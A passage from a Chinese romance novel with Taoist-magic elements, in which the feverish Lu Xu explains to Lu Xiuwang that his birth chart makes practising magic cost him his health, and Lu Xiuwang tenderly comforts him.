但陆修望其实挺真诚,给了他很多钱,还总是照顾他,嘴上喜欢气他,转头又老老实实认错,变着法子哄他。遇到危险,总是下意识地把他护在身后,好像那是一种本能。 陆叙想起陆修望说的梦,他一直不太相信自己会和谁存在那些因果复杂的东西,但现在他有点动摇了。 或许他们之间,真的有什么说不清的缘分。 不然怎么解释呢?他这种命格的人,按理说就该独来独往,可偏偏这个人闯进来了,还赖着不走。 更奇怪的是,他居然也没想赶。 陆叙在心里叹了口气,把这些乱七八糟的念头压下去,大概是发烧把脑子烧糊涂了。 看他放松下来,陆修望才开口。 “所以你师姐让你好好休息,不要再接活,是因为你说的印旺身弱吗?” “差不多吧,我每次动用道法,消耗的不只是精力。”陆叙替他说完了,“印旺身弱的盘,日主本来就撑不住,红条蓝条懂吧,别人干这行耗蓝,我耗红。” “你为什么非要逞强?” “不然呢?”陆叙翻了个身,面朝着他,发烧让他的脸上浮着不正常的红,整个人虚弱至极,但他的双眼却未见迷茫,“我和你说了,我不走异路就没路可走,不做这行我也不会变成正常人,该来找我的还是会找,打开的门也关不上。与其坐着等死,不如学点有用的,起码能和那些东西碰一碰。” 他嘴角弯了弯,又补充了一句:“而且,这一行很有趣,也很神奇,无关科不科学,你以后慢慢就会懂。” 陆修望看着他。暖黄色的灯光落在陆叙的脸上,让他的轮廓比平时柔和了一些,少了那股锐利和吊儿郎当的劲儿,他的眼神不含糊,那双眼睛始终从容而清醒,甚至带着一点平时不易看到的坦然。 陆叙知道自己在做什么,在走怎样的路。 而且他信任他,把这些他亲口说过被人知道很危险的东西,一条一条地摆在他面前。 “命盘说你不长命。”陆修望伸手将他抱在怀里,“但你活到了现在。” “嗯。” “那就活下去给它看看。” 陆叙怔了一下,然后嗤笑了一声:“废话。” “我的意思是——”陆修望的手移到他脸侧,掌心贴着他发烫的脸颊,“命盘断不准你,那就说明你比它厉害。” 陆叙忍不住笑了,这小子啥也不懂,但讲的话却还挺好听。 “方师姐和你师父交代过你的事,”陆修望说,“我觉得你得听他们的。” “哦?”陆叙挑了挑眉,“那谁养我?” 陆修望看着他的眼睛,嘴角微微弯了一下:“你说呢?” 陆叙从那个眼神里读出了答案。 “……你好蠢。” “你说过很多次了。” “说过又怎么了,蠢就是蠢。”